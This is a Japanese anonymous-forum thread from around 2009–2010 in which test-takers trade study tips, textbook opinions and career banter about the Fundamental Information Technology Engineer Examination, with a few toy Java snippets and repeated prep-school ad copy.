基本情報技術者試験 Part273

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のんびりやろう！情報処理試験！
http://www.shunzei.com/
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■前スレ
基本情報技術者試験 Part272
http://namidame.2ch.net/test/read.cgi/lic/1259211869/

余裕の2

午前免除むずかしい（＞＜）

午前免除試験楽勝(^_^)v

午前免除あぶなかったお・・・

いろんなやつがいるなｗ

勉強しなくても前日に過去問暗記で余裕だった俺

それを勉強っていうんだろ

48点以上ならみんな合格するのですか？　
　

猫は簡単すぎて午後の文章問題解くときにどうなのかな〜

猫はねぇ・・・、単語とかおおまかな流れ覚えるのにはいいけど、応用力がつかないかなぁ
別に過去問やったほうがいいね

初級シスアドの問題集ならあるからやろうと思ってるんだけど、範囲って結構違うかな？
新しく買った方がいい？

午前問題なら被ってるから無駄にはならんぞ↑

午前ならＩＴパスが完璧なら受かる
前にＩＴパス受かって、今回基本情報受かった俺がそうだったし

今から勉強しても受かるかな？
ITパス受かって、プログラムはVBぐらいしかいじれないから、新しくC勉強しようかと思ってるんですが。。。

VB使えるならJavaいけばいいじゃん？

失礼します、2年前に基本情報を取った者です。
「基本情報なんて役に立たない」という人がいるけれど、そんなことはないです。
確かに、クイックソートのようなアルゴリズムはライブラリにもありますし、基本情報レベルのネットワークの知識で社内ネットワークを運用出来るわけではないです。
ですが、色んな知識を幅広く知っている人というのは、やはり開発の現場で重宝されます。
特に会社の基幹システムを作る際には、Javaなどの言語から、DB、ネットワーク、果ては会計処理まで多岐にわたる知識が必要とされます。
それでは、皆さんが春の試験で合格されることを、お祈りしています。

sageろ

イエーイ、午前免除ゲット

俺も免除ゲットだぜ
のんびり午後対策ができる

午前免除取ってるのって全員専門学生とか資格学校通ってる奴か？

日本のプログラマの大半は業務システムを組んでいる中で
企業側が実績のある上記のCRMなどを利用すれば社内システムの開発は必要なくなってしまいます。
現段階では問題が多いのは事実ですが、今後減っていくでしょうし、
要は日本のプログラマの仕事がなくなってしまうのではと思うのです。
例えば、オフショア開発の流行っている昨今、日本のそれはインドの開発力には劣ります。
それでいて便利なオープンソースを使った方が効率も良くて、
現実問題、プログラマの仕事はJAVAやC#.NETのライブラリやオープンソース
をいかにうまく使うかという点になってしまっています。

パーフェクトラーニングの新刊と猫本かってきた
今日から本気だす

高橋麻奈のやさしい基本情報技術者講座と
技術評論者の基本情報技術者合格教本買ってきたｗｗ

後者は一夜漬けみたいなシミュレーターが付属してるｗ
暇つぶしに問題解くのにはいいかもしれない(｀・ω・´)

まずはスタートダーッシュ

・・・だよね？今の時期なら？

この資格はまったく役に立ちません
ゆとり学坊のオナニーです

オナニーいいじゃん

833 名前：仕様書無しさん[sage] 投稿日：2009/12/21(月) 00:20:19
必要なのは学歴、年齢、ピンポイントな業務経験、上流工程経験のうち最低2つだって。
これらがあるなら入社後に苦労しないためにも資格の勉強をしろってこと。

import java.util.Scanner;

class Hoge {
　　　　public static void main(String[] args) {
　　　　　　Scanner ten = new Scanner System.in();

　　　　　　System.out.print("午前の正解数：);
　　　　　　int seikai = ten.nextInt();

　　　　　　if (seikai >= 60)
　　　　　　　System.out.println("合格です");

　　　　　　else
　　　　　　　System.out.println("残念です");
　　　　}
}

正答率75%で合格ってなかなか厳しいな

//数値を入力して合否判定する。
import java.util.Scanner;

class Hoge{
public static void main(String[] args){
Scanner ten = new Scanner(System.in);

System.out.print("午前の正解率(%):");
int seikai_gozen = ten.nextInt();

System.out.print("午後の正解率(%):");
int seikai_gogo = ten.nextInt();

if(seikai_gozen>=60 && seikai_gogo>=60){
System.out.println("合格です。次は応用目指しましょう。");
}

else{
System.out.println("残念です。合格するまでＩＰＡに5100円投資してね＾＾；");
}
}
}

覚え立ての知識をここに書き込んでいきがるなよゆとり初心者

午前試験免除になったのに午後試験落ちたらもったいないなって思うとモチベーション上がるな

>>32
覚え立ての知識じゃねぇよカス!!
>>29のプログラムをちょろっと改良しただけなのに
そうやって何かあるとすぐゆとりゆとりって＾＾；
粘着ひきこもり君には言われたくないですね＾＾；

まぁ午前免除落ちたくらいでカッカすんなよｗｗｗ

恥ずかしいやつが湧いてるな

来年の春にFEを受験しようと思っているのですが
今から少しずつ勉強するならばどのような本が最適でしょうか？
午後試験の選択はC言語にするつもりです
構造体 ポインタ辺りまでなら大体理解しているつもりです
シスアドは不保持ですが 一応今年の春にITパスポートは取得しています
どなたかご意見お願いします

そういやＤＳのソフトが来月にも発売されることは
周知済みだと思うが買うやつとかいるの?
まぁ俺は買ってみようとは思ってるｗ

>>37
ｔｈｘ知らなかった
俺も買うわｗ　かなりの量の問題が収録されてるみたいだし
面白そう

printf("%dはゆとりです\n",>>34);

>>39
アウト

午前免除一年で午後受からなかった。午後をなめてたからな。春はアセンブラで満点狙おうと思う。表計算を選択してる奴はなかなかうからなくなってるよ。
そんなに甘くない。

チラ裏ｽﾏｿ
午前の過去問解いたら80問中46問しかとれんかった。
俺ｵﾜﾀ

店員「どのケーキになさいますか？」
客「どれが良い？凛子」
DS「…」
客「もー、喋らなきゃ分からないじゃん///」
DS「……」
客「あー、そうやって黙ってると買わないよ？」
DS「………」
客「あっそ。分かった、じゃ帰るから。」
DS「……ﾔﾀﾞ」
客「え？聞こえない」
DS「……帰るのﾔﾀﾞ」
客「じゃあなんで黙ってたの？」
DS「…どれも美味しそうだから迷ってた」
客「なんだよ、それならそうと早く言ってよ///」
DS「……ｺﾞﾒﾝ…なさい。」
客「いいよっ。じゃあ全部買って行こうか。」
DS「……ｱﾘｶﾞﾄ」
客「じゃあ店員さんこれとこれとこれウィィィィイイイイ」
DS「ウィィィィイイイイ」
店員「ウィィィィイイイイ」

免除って今から受けられないんですか？

もう一回あるはず

>>36
午前だけなら新星出版社の基本情報受かる100講とかどうだろう。
あと、ITECの基本情報の本とか。
とりあえず前者を毎日コツコツやってたら午前免除受かったよ。

午後はすまん。。いい本わからない・・・
ＩＴＥＣとかいいんじゃないかと思う。

午前と午後が一冊で把握できる本ってよくわかるマスターあたりかな
つっても一冊だけだと表計算一択になりそうだけど

>>45
ｋｗｓｋ

午前免除はあと１月にあるけど
１２月ので受からなかった人には受からないんじゃないかな？ｗ
まあ別に４月の試験で午前午後受ければいいだけだけどｗ

午後の勉強てどうすればいいの？

いちよCOBOLを会社で使ってるから選択するんだけど。
参考書とか買ってるのみんな？

午前の問題ってitecの予想問題集や過去問やったら余裕で合格点到達

午前は猫本と過去問でもおｋじゃね
午後の文章は勉強しようがないような
アルゴリズムとプログラムは専門の参考書で勉強できるが
アルゴリズム激むず

アルゴリズムってどんな問題なの？
まだネコ本しか持ってなくて午後の問題の感じがわからないんだ・・・
ネコ本の２章に出てくるようなやつのこと？

>>53
IPAのサイトに問題載ってるよ
秋試験に出てきたやつは数学苦手な人を駆除するような問題だった
春の図形塗り替えみたいな問題ならまだ何とかなるが

店員「どのケーキになさいますか？」
客「どれが良い？凛子」
DS「…」
客「もー、喋らなきゃ分からないじゃん///」
DS「……」
客「あー、そうやって黙ってると買わないよ？」
DS「………」
客「あっそ。分かった、じゃ帰るから。」
DS「……ﾔﾀﾞ」
客「え？聞こえない」
DS「……帰るのﾔﾀﾞ」
客「じゃあなんで黙ってたの？」
DS「…どれも美味しそうだから迷ってた」
客「なんだよ、それならそうと早く言ってよ///」
DS「……ｺﾞﾒﾝ…なさい。」
客「いいよっ。じゃあ全部買って行こうか。」
DS「……ｱﾘｶﾞﾄ」
客「じゃあ店員さんこれとこれとこれウィィィィイイイイ」
DS「ウィィィィイイイイ」
店員「ウィィィィイイイイ」

情報処理試験.jpの午前問ができれば、午前問は楽勝。
午後問はさすがに過去問買わんと、わからないと思う。
俺は言語で悩んでいる。
J検も受けるからCASLIIになると思うが、保険でCOBOLもやっておきたい。。。

日本語で
「〜より大きい場合」って言われたら
＜　なのか　≦なのかわからないんだけどどっち？

＜

”より”で　〜を含んでないのを理解する感じ？

日本語理解しろ

言語は満点狙わないといけない。アルゴは安定しないから残りの8割を8割とらないといけないから。
基本情報って厳しい試験だな。

>>

先輩がこの試験に苦労してるのを
みると優越感だな

プログラマでこの試験に受からない人なんているのか？

プログラマつってもピンからキリまで居るし、やっぱりうからない奴居るんじゃねーの
そして受からない奴はレッテルじゃなく問題児と言う・・・

いるに決まってるだろ・・・
何考えて疑問系になるんだ・・・

じゃ、おれプログラマじゃないけど、受かったからプログラマとして就職できるかな？

プログラマーってなんかPCのスペシャリストみたいに思ってる？
彼らってプログラム言語以外何も知らないよ
極端に言ったらマザーボードって何？ってレベル

ハードウェアの知識があるほうがいいプログラマに慣れるんじゃないかな？

で、こんな資格とってもプログラマに慣れないんだね・・？

プログラムするならまずプログラムが何をするものかって知らないとだめだろ・・・
プログラムは現実にあるものを模倣して、最終的に実現するのが目的だぞ・・・
実際には現実に無いものも創造できちゃうのが凄い所だけど、それができるためには、
プログラミングの範疇に収まらない勉強が必要だぞ

銀行の預金の出し入れを管理するなら銀行の業務知識が
新幹線のスピードを調整するなら（極端に言うと）モーターの知識が
月の軌道を追っかけるプログラムするならプログラミングじゃなくて天文学を勉強しなくちゃなんだぞ・・・

わかっててプログラマー目指そうとしてるのかね　俺はプログラマー志望じゃないけど

>>69
プログラマーになりたいの？
だったらこの資格は遠回りだよ。
プログラマー用のベンダー資格を勉強した方が絶対いい
このスレで自分にあったのを探して少しずつ上を目指したら？
http://namidame.2ch.net/test/read.cgi/lic/1260695222/

テクニカル系のSEを目指すなら
基本にSJC-PとWとオラクルゴールド
あれば新卒だったら大丈夫だろう

OSやハードの知識があるのはサーバエンジニアや

>>72
これは本当

JAVAとオラクル使えたら結構重宝されるぞ

>>74
SEですか？プログラマでは、JavaとOracleやれても意味ないですか？

>>75
SE

>>75
プログラマー志望だったらとりあえず
C
C++
Fortran
Java
Perl
Python
Smalltalk
MS Visual Basic
SQL
ぐらいはリファランス見ずに読み書き出切るレベルじゃないといけないだろうな
大体のロジックを理解したら後は暗記だ

プログラミングなんてマニアックすぎるから
PC好き程度なら成るもんじゃない・・・

プログラマって昇進も昇給も望めないでしょ？
文系職と違って、年齢を経る毎に無能になっていくんだからｗ
ITドカタのスレ見てると35歳ぐらいで新技術についていけなくなって
若い奴に挿げ替えられるらしいね

>>69
思っているとおりハードの知識はあった方がいい
マシンを構成するリソースの知識なくして
まともなプログラマになんてなれないから
コーディングだけしてりゃ満足ってんなら言語の扱い方だけ
暗記してりゃいいけど

まぁオフショアが活発化してる背景考えりゃ
そんな奴はすぐに淘汰されるわな

プログラマってのも言葉の範囲が広いからな

Javaの知識ってよりオブジェクト指向が理解できない人間はこの先死ぬ

ページング方式とセグメント方式の違いって何ですか？

class final ケンシロウ extends 北斗神拳

+8点ってなんですか？

finalだと継承者がいなくなるぞ

>>79
最初だけ役に立つだけマシだろｗ
文系職なんて、最初から終わりまで役に立たんｗ

次の試験に落ちたら気絶経験のある献血に行く
AB型だから喜ばれるだろうな…

無理して行ったら、数時間後にまた自分に献血するはめになるよ

理系の大学とか出てる人には
論理的思考力で普通の人は一生敵わないよ
まぁ技術的なことはお任せすればいいわけだけど

根っからの理系なんてほとんどいないけどな

独学でやってると分からないところでてきてしょうがない・・・

福嶋本の182pの
トレースでとりあえず5を入れたところまではわかった
でもその後候補としてイ、オが選ばれて、両方に6を入れたときに15になった方が正解　とわかる理由が欲しい

>83
ページング方式は一定のでかさで切り取り。
でかさが一定だから半端が出ない。

セグメント方式はプログラムの構造に合わせてうまいこと切り取り。
効率はすげえいいンだけど
先に構造を解析しとかないと使えないし
切り取るでかさがそれぞれバラバラだから半端が出る。

ってなトコか？

「幸せなソフトウェア開発」時代の終焉
ttp://jibun.atmarkit.co.jp/lcom01/rensai/topics/08/01.html
お前らがIT業界入る前に終わりそうだな

スワッピングとフラグメンテーションの違いを教えてください

【萌え】DDR規格秋葉原を使い続ける危険情報【はげ】

>>95
共通項の少ない二つの違いを見せることに何の意義が？

>>94
中身見て話してんの？
>>70でも言ったことと同じこと言ってんぞ

>>64
時間が足らないとかはありそうじゃないか

猫本で２週間勉強して試しに秋の午前問題やってみたら78点取れた
講座受けなくても午前免除試験を受けれるようにしてほしいなぁ

午前試験免除の意味がわかんねえ
午前午後1セットで肉体的精神的苦痛を受けるから基本情報技術者試験なんじゃねーのって思うのに
試験っつーか試練だな

というより、ＩＰＡ認定の専門学校に入学して、毎日講座を受講し、修了認定をされないと免除にならないから
普通の人には、そっちの条件満たす方が多分、実際やると大変だとおもうよ

普通の人には、試験日だけ１日の苦痛の方がラクなはず

>>101
世の中金

資格学校でも免除されるが正直紙の上の勉強だけで１０万か

午前免除受けてもあまり意味はない
午後受かる奴はだいたい無勉でも午前受かる

>>95
スワッピングはメモリとハードディスクの間で内容を入れ替える事。

フラグメンテーションはスワッピングの結果としてメモリ内部で使ってる部分と使ってない部分が細切れになって混在する事。
悪化すると大きなメモリを確保できなくなる可能性がある。

なお、ファイル操作の結果としてディスク上の領域が細分化される事もフラグメンテーションと言う。

全加算機と半加算機の区別がいまいち
つかめない。だれかボスケテ

>>93
>>106
ありがとうございましたm(_ _)m

スワッピング方式とページング方式の違いを教えてください。

スワッピングとペッティングにみえた

２ｃｈでおべんきょう

午前免除試験の結果が来た
80問中68問正解で合格
ＩＴパスポートの勉強でほとんど合格できるような試験だった

SIerで経理やっていてプログラミング未経験なので
午後試験の選択をどうするか迷い中

これを機にＣ言語をかじってみようと思ってるんだけど
表計算と比べてかなり合格レベルまでの学習量に差があるんだろうか？

プログラミング未経験でＣやJavaで受かったひとがいたら感想や勉強法を教えてくらはい

これ受ける前にITパスポートは受けたほうがいい？

いきなり基本情報技術者受けるのはきついかな？
パソコンはやりはじめて、６，７年たつけど
そこまであんまりPCの「知識はないっす。。

やりはじめて、の範囲がわからない
うちのじーちゃんだって5年以上前からPC持ってるぞ？

>>113
計算問題とか午後問が大丈夫そうならいいんでね？
ITパスからのほうがとっかかりやすいと思うけど。

>>113
http://www.jitec.ipa.go.jp/1_04hanni_sukiru/mondai_kaitou_2009h21.html#21aki

試しに何点取れるかＩＴパスポートの問題やってみ？

パソコン６，７年やってても、ネットとメールしかやってなかったら、
ＩＴパスポート落ちるぜよ
普段からExcelやったりWordやったりしてるんなら大丈夫だろうけど。

午前免除に10万円以上も費やすのは嫌だな。
情報システムの基本スキル持ってたら免除でいいのに

午前免除なんて受けれねー
そんな時間も金もねーよ

免除なんていらないけど
５万でとれるじゃん

表計算一週間
C,Java半年

今度の試験のために勉強してるんだけど
午前問題は参考書軽く読んで過去問してる
午後問題はどう勉強したらいい？

ITパスポートの過去問みてみました。
ぜんぜん知らないことばかりでほぼわからない状態。

やはり、ネットだけじゃあ知識不足かぁ
やっぱ最初はITパスポート取って　その後基本受けたほうがいいかな？

>>122
そっちの方が無難だけど・・・どうなんだろうね？
午前に関して言えばIパスとほぼ同レベルという感じだけど
午後試験はIパス通過者のｵﾚも未知の世界に見えるのが正直なところですが・・・

パソコン持って無くても半年で受かる奴もいる
書籍を一切買わずにネットだけで受かる奴もいる

>>122
時間的・金銭的制約が無ければ、ITパス取ってからの方が確実だと思う

昔猫本で午前免除だけ受かって午後は受ける時間なくてそれ以来なんだけど
猫本は資格に合格するためだけの本で、仕事やらには役に立たないような感じがして
FOMの本を買ってみたんだが…

午前部分だけ見ても猫本に載っていることが1としたらFOMには15載っていてさらに理解もしづらい
猫本は2周もすればだいたい理解も出来て覚えることができたがFOMは10周しても理解できそうにない

C、Javaの試験受けるのに半年って社会人の話しだよね・・？

そんなにみっちりやらないと受からない試験とは思えないのだけど・・

>>109
ページング方式はスワップする時に固定長のページ単位で行う方式。

これに対して可変長のセグメントで行う方式をセグメント方式という。

アクセル全開で勉強していたはずが、
気がついたらエクセル全開で勉強していた

メールでTO欄に入れたときとCC欄に入れたときの違いを教えてください

猫本の評価が高くて福嶋本の評価がめちゃめちゃ低いみたいだけど
猫本は「本当の本当に初心者向け」で、福嶋本は「ある程度プログラムはやってる中級者向け」な気がする
猫本はパラパラ読んだだけで、福嶋本はまだ半分しかやってないけど

まぁ、どっちも買って一通りやってみるからその時再評価するわ

>>128
http://thumbnail.image.rakuten.co.jp/@0_mall/book/cabinet/1046/10467101.jpg

>>123
同レベルはありえない。午前対策にしても、基本の本は買って2weekはやらないと受からんよ。

http://www.o-hara.ac.jp/best/jyoho/course.html
2010年4月受験対策 午前試験対策コース（25回）
本コースと同じカリキュラムで午前試験対策部分のみ学習するコースです。
まずは午前試験、という方や午前試験免除を希望する方にオススメします。
≫ 拡大する
対象者 初学者、午前試験免除希望者
開講日 教室通学 順次開講中　 ≫ 実施校・開講日
※途中入学可能
映像通学 申込後、随時視聴開始　 ≫ 各校視聴時間
実施校 札幌校・東京水道橋校・池袋校・渋谷校・町田校・立川校・横浜校・津田沼校・柏校・大宮校・
長野校・静岡校・浜松校・名古屋校・難波校・和歌山校・福岡校・小倉校
受講期間 3ヵ月〜5ヵ月
受講料
（消費税込） 教室通学 映像通学 47,000円　
※大原グループの通学講座（教室通学・映像通学）に初めて入学される方は
受講料の他に入学金6,000円（消費税込）が必要です。

>>126
C,Javaは経験者向け
なぜあまり使われないCobol,CASL�Uがあるのか

こんなテストの午前免除だけで53000円はたけぇな

大原だと５万３０００円で午前免除でけるのけ？

http://www.jitec.ipa.go.jp/1_80tokurei/_index_tokurei.html
頑張って安い午前免除を探せ

シスアドで午後試験をほぼ勉強しないで取ったが流石に基本は無理だろうか

>>134
アセンブラは機械語に近くハードによって微妙に違うので難しくややこしいが
特別の試験限定アセンブラはそれほど難しくないよな

まったくの初心者社会人がＣ、Javaで合格するには今から毎日みっちり2時間午後対策でも厳しい？

余裕だけど、そこまでするならアセンブラしたほうがずっと楽だよ

>>141
１４０さんは単に試験に合格するだけでなく、C言語でソフトを作って
アマチュアプログラマになりたいんじゃないかな？
CやJavaなら、ソフトも作れるけど、アセンブラじゃ資格のための勉強になっちゃうからね・・

短絡的思考だな

>>134
COBOLは商業系の高校生の為にある様なもの。

>>140
努力次第としか言い様が無い。
ただ、今からだと言語は一つに絞るべきかと思う。

>>140
合格だけが目的なら表計算にしといた方がいいよ。
多少ややこしいけど、初級レベルのExcel知識+ある程度の読解力で8割は解ける。
ただ、仕事でプログラミングやるなら、言語やった方が後々活きてくると思う。

シスアドの感覚で応用以上を狙う気がない⇒表計算
（アルゴリズムも必要ないから選択でシスアド的な問題を入れて欲しいが本音）
受かりたいだけだがアルゴリズムや応用も考慮してプログラムにしたい⇒アセンブラ

でも、どうせスクール通うなら紙だけの勉強じゃなくて、
コンピューターの専門学校でちゃんと実技を学んだ方がいいよな。

>>144
http://www.itmedia.co.jp/news/articles/0909/19/news006.html

でもCOBOLできれば一生食べていけると聞いたことがある

>>149
新規の開発はほとんど無いけどな。

>>140
基本ではアルゴリズムの勉強も重要なんだが、紙の上だけでやるより実際に動かした
方が面白い。

Cは再帰を含む複雑なアルゴリズムを簡潔に記述できるから、文法とアルゴリズムの
両方をまとめて学習するには向いている。

言語なんて自分で書いて、コンパイルして、動かして、エラー出して悩んで解決する
経験積まないとなかなか身に付かない。

ただし、初学者の場合はポインタでつまづく事が多いから、正しく教えられる人が
身近にいるのが理想的なのだが。

ここで質問してもいいけど。

猫本って午後に対応してないのか
表計算でいいから一冊だけで済ませたいがどうしたものか

ポインタは、デスクトップのショートカット設定で例えておけば何とかなる

応用の午後もプログラムと経営で選べるんだろ？

>>134
力（権力）の関係
役員クラスの爺さんどもの全盛期はCOBOLやCASL�Uがメインだったから。
COBOLやCASL�Uを若手が外そうとすると、その若手は飛ばされるから。

>>155
アセンブラは方言が強いが速さを要求される場合は今でもそこそこ使われるだろ

>>155
逆にCOBOLができれば、偉い人に大事に育てられて直接業務を伝授して貰ったりして、
いつの間にか主任に格上げだよ

おコボルちょうだいって事ですね！！

だれうま

不覚にも笑ってしまった

メインの言語があってCOBOLもつかえるといいけど
COBOLだけとか時代遅れ

部屋の大掃除したら10年ぐらい前に買った2種のテキストが出てきたw
このときは途中で挫折したから来年は最後まで頑張ろう

途中で挫折して今は何やってるんですか？

諦めんなよ!

諦めんなよ、お前！！

どうしてそこでやめるんだ、そこで！！

もう少し頑張ってみろよ！

ダメダメダメ!諦めたら!

周りのこと思えよ、応援してる人たちのこと思ってみろって!

あともうちょっとのところなんだから!

by松岡修造

iTECの予想問題と重点対策を買ったぜ。
2010年版の中身見たらほとんど2009年版の使い回しじゃねぇか・・・

免除で受ける奴はいるのかな？
http://www.jitec.ipa.go.jp/1_80tokurei/_index_tokurei.html
http://www.o-hara.ac.jp/best/jyoho/course.html
2010年4月受験対策 午前試験対策コース（25回）
本コースと同じカリキュラムで午前試験対策部分のみ学習するコースです。
まずは午前試験、という方や午前試験免除を希望する方にオススメします。
≫ 拡大する 対象者 初学者、午前試験免除希望者
開講日 教室通学 順次開講中　 ≫ 実施校・開講日
※途中入学可能 映像通学 申込後、随時視聴開始　 ≫ 各校視聴時間
実施校 札幌校・東京水道橋校・池袋校・渋谷校・町田校・立川校・横浜校・津田沼校・柏校・大宮校・
長野校・静岡校・浜松校・名古屋校・難波校・和歌山校・福岡校・小倉校
受講期間 3ヵ月〜5ヵ月
受講料 （消費税込） 教室通学 映像通学 47,000円　
※大原グループの通学講座（教室通学・映像通学）に初めて入学される方は
受講料の他に入学金6,000円（消費税込）が必要です。

メールでTO欄に入れたときとCC欄に入れたときの違いを教えてください

TOはメインに送りたい人、返信が欲しい人とか
CCはあくまで内容を知っててほしい第3者とか。

CCはTOやBCCにもアドレスが見える。
BCCは送信者以外には見えない。

富士通が説く「クラウド時代のSIに求められるもの」
1. 業務スキルでのインテグレーションノウハウと企業活動全体を把握したインテグレーション力
2. クラウドの運用ノウハウを持ったシステムのサポート技術
3. ネットワーク・サーバ・ストレージおよびOS・データベース・ミドルウェアまで他社製品も含めた複雑なクラウド環境の構築技術
ttp://www.itmedia.co.jp/enterprise/articles/0912/28/news012_2.html

プログラム終了のお知らせ
いまさらアルゴリズム学んだ所でどうなるの？
どっかの天才達が作ったソフトが無料で手に入る時代なのに
まぁ学生とかなら基礎知識として学んでもいいかもしれないけど
IT業界に転職したい奴はさっさとCCNAやLPICやOracleなどのベンダー資格で
ネットワーク、サーバー、OS、データベースの実務的な知識をつけたほうがいい

天才様はお忙しいのでニッチな需要を狙うさ

だから、逆にみんなができないCOBOLとFORTRANを極めて儲け捲くる

福岡市内と通ってる地下鉄の車両の中に
COBOLer募集の広告が出てたけど今はあるのかな？

できないのではなく
消えるのが解ってるので
誰も学びたくない

なんかレス減ったなこのスレ

大型規制が掛かっているからね

2ch全体だろ

役に立たないから勉強しないってのは理由にならないだろ。
色んな言語を学んで頭を柔らかくしろってことだろ。

午前対策はよく出るよく分かる基本情報技術者[午前]問題集（日本経済新聞出版社）と過去問、
午後対策は過去問だけで受かりました。
午前は自分に合った参考書を探してみてください。
午後に関しては、表計算苦手でプログラム初心者って人はＣＡＳＬ�U（アセンブラ言語）が比較的、おすすめです。
命令さえ覚えれば、トレースできるので。しかも命令の種類もそんな多くないですし。

テストはCで受けてほしいなーと思うのは
俺のわがままなんですかね？
テストをCで受けられる人じゃないとアルゴリズムは得点できないと思うのですが・・

Javaでもいいじゃない

表計算でもアルゴリズムが分かればいいじゃん
↓
表計算でアルゴリズムわかんなくても受かるじゃんnew

初級シスアドが亡くなった代わりに受けるので表計算でもいいよね

事務職だし仕事でプログラミングやらないし・・・
そんなわけで表計算を選択します

シスアド代わりなら何の問題もないでしょ。
開発志望なら面接で死亡だけど。

>>186
つ必修のアルゴリズム

SEなんてほとんどがコーダー件橋渡し役みたいな役回りなんだから
プログラムできないってのは厳しいんじゃないの

現場から言えば、プログラムできない奴は全く要らないぜよ。

恐ろしいのは頭が良くない奴でもコミュ力で設計専門の企業に入れてしまうということ
開発もする企業に入る→馬鹿

まあ基本情報ならほとんど評価されないし、
プログラムやりたいやつならベンダー系でも取ってくるっしょ。

表計算を選択して合格した人が
就活の面接で、他の言語を選択したと言ってもバレないよね？

後でばれないように勉強しておけばいいんじゃね

運用系ならプログラム出来なくても問題ない？

問題あり

なぁ明らかに技術的にはプログラムより
サーバーとかのほうが面白いと思うんだが
なんで開発職が一番多いんだろうな
開発は営業みたいな人も技術職にいれてるから数多いのかな

昔みたいにＳＥプログラマーセールスって単純な分け方しないからなあ
プリセールスやテクニカルセールスもあるよな

あけおめ
今年の目標は基本情報と応用情報に合格することだ
頑張るぞー

あれだよ漫画読むのが好きなだけなのに漫画家になりたいとかいうような感じの子が多いだけだよ
ＰＣでブラウジングするのが好きなだけなのにプログラム書くことができると思ってる感じ
これがＳＥ志望の８割占めてんだからどうしようもない

おめ
俺も今年は基本と応用とる
一発でいかないと気持ち折れそうだから一発でとる！

あけおめｗ
俺も同じく基本と応用一発で取る気だよ(｀・ω・´)

じゃあ俺も基本と応用一発で取る

じゃあ俺は基本をしっかり勉強して
応用力をつけて基本情報を一発でとる

免除で受ける奴はいるのかな？
http://www.jitec.ipa.go.jp/1_80tokurei/_index_tokurei.html
http://www.o-hara.ac.jp/best/jyoho/course.html
2010年4月受験対策 午前試験対策コース（25回）
本コースと同じカリキュラムで午前試験対策部分のみ学習するコースです。
まずは午前試験、という方や午前試験免除を希望する方にオススメします。
≫ 拡大する 対象者 初学者、午前試験免除希望者
開講日 教室通学 順次開講中　 ≫ 実施校・開講日
※途中入学可能 映像通学 申込後、随時視聴開始　 ≫ 各校視聴時間
実施校 札幌校・東京水道橋校・池袋校・渋谷校・町田校・立川校・横浜校・津田沼校・柏校・大宮校・
長野校・静岡校・浜松校・名古屋校・難波校・和歌山校・福岡校・小倉校
受講期間 3ヵ月〜5ヵ月
受講料 （消費税込） 教室通学 映像通学 47,000円　
※大原グループの通学講座（教室通学・映像通学）に初めて入学される方は
受講料の他に入学金6,000円（消費税込）が必要です。

資格学校とかって下手すると
紙の上の勉強所かビデオ見てだからな
質問できないじゃん

TACならメールで質問できる

ビデオ学習のいいところは繰り返し何度も見れるところ

>>207
本でいいじゃん

本だと午前免除受けられないやん

免除受ける人はいますか？

合格証書にも午前免除と記載されちゃうんですかね？

サーバの寿命は35年
ソフトウェアは無料
デバッグ期間は認めない
システム設計期間はなし

公共事業の常識

>>211
されない

>>213さん、ありがとうございます。211です。
当方、ＩＴバスポート持ちなんですが、各分野ごとの点数が合格証書に記載されています。基本情報は違うんですか。

ITパスだけだよ点数記載は。
あとパスポートの発行も。

ttp://www.atmarkit.co.jp/job/comp/111mynavi/doukou/01/01.html
これまでのような大型のシステム開発案件が減り、ITエンジニアの
大量採用が減ると思われること。例えば、SOAプロジェク
トは巨大プロジェクト化の傾向があったが、今後はプラットフォームとしてSaaSを利用するな
ど、アプリケーションの調達方法そのものが変化する。結果的に、手組みや
パッケージの導入は減り、局所的なシステム開発が増加する可能性があ
る。必然的に、1件当たりの受注額は小さくり、求人数は減る。

test

はーい
webブラウザからデータ定義して
コードを自動生成して
webアプリ作れるOSSでたよー
プログラマ（笑）
ttp://itpro.nikkeibp.co.jp/article/NEWS/20091225/342691/

別に基本情報取る人がみんなプログラマーになるわけじゃねーんだぞ
教養の一種だ

PGにはならないって
それだけのビジネススキル持ってるのかい？

？
すまん
会話の前後がわからない

受験者がみんなITにかかわるわけじゃないんだぞ、と

そりゃーITに行かないんだったら
何がきても

たとえば、コンピュータの囲碁や将棋は、かなり強いアルゴリズムが出ているが株の場合はどうだろう？
囲碁や将棋は所詮相手は１人。
株取引の場合は何千という人間を相手にしないといけない。
完璧に勝てるのを作るのはかなり難しいんじゃないかな？

これから徐々に改良されて、だんだん強くなっていくんだろうが。

例えば、プログラムＡ　ｖｓ　プログラムＢを対決させたらどうなる？

まぁ下手な人間よりは全然強いんだろうけどね。

株とか元手が無いとできないんでどうでもいいし、
株に関係するプログラム作っても責任持てないし、
有料で売り出したら責任が発生、無料で売ったら儲からないし　どうでもよくなってくるわ

単純にプログラム作る力より、
本当にそれが要るものなんか判断する能力のが必要じゃねえの

まったくプログラム分からない人が
要るのか判断してるのがIT業界ですね
分かります

この流れ見てたら簡単に受かりそうになるから怖い…

>>227
良く分かってるじゃないか

免除で受ける奴はいるのかな？
http://www.jitec.ipa.go.jp/1_80tokurei/_index_tokurei.html
http://www.o-hara.ac.jp/best/jyoho/course.html
2010年4月受験対策 午前試験対策コース（25回）
本コースと同じカリキュラムで午前試験対策部分のみ学習するコースです。
まずは午前試験、という方や午前試験免除を希望する方にオススメします。
≫ 拡大する 対象者 初学者、午前試験免除希望者
開講日 教室通学 順次開講中　 ≫ 実施校・開講日
※途中入学可能 映像通学 申込後、随時視聴開始　 ≫ 各校視聴時間
実施校 札幌校・東京水道橋校・池袋校・渋谷校・町田校・立川校・横浜校・津田沼校・柏校・大宮校・
長野校・静岡校・浜松校・名古屋校・難波校・和歌山校・福岡校・小倉校
受講期間 3ヵ月〜5ヵ月
受講料 （消費税込） 教室通学 映像通学 47,000円　
※大原グループの通学講座（教室通学・映像通学）に初めて入学される方は
受講料の他に入学金6,000円（消費税込）が必要です。

>>92
福嶋本てどれ？

>>231
これですね　楽天やamazonはアドレスが長くなりすぎるので適当なところから拾ってきました
ttp://www.hmv.co.jp/product/detail/3701349

同じ著者が、1月に
「基本情報午後完全合格教本　2010年度版」書いてるけど別物かなー

>>232
これと
ttp://www.hmv.co.jp/product/detail/3717147
これ
どっちがいいと思う？

>>233
それは午後全体の奴だったはず

>>234
両方やったわけじゃないから福嶋本だけ感想

もうすでに1冊ほどC言語はJAVAの本やった人向けだと思う
本当に1からやるって言うなら、福嶋本はおすすめしない　中級者以上向けだと思う

本当レスがないな

COBOL選択者いる〜？

>>230
免除って今からなら秋の奴になるの？

>>238
あんまりいないと思う

さて、今日から勉強再開だ

毎日1時間くらいかな。基本の午前やってます。
それ以外はやってない。テキストは4〜5冊使ってる。
やっぱり1冊じゃわからない、載ってない単語ってあるからね

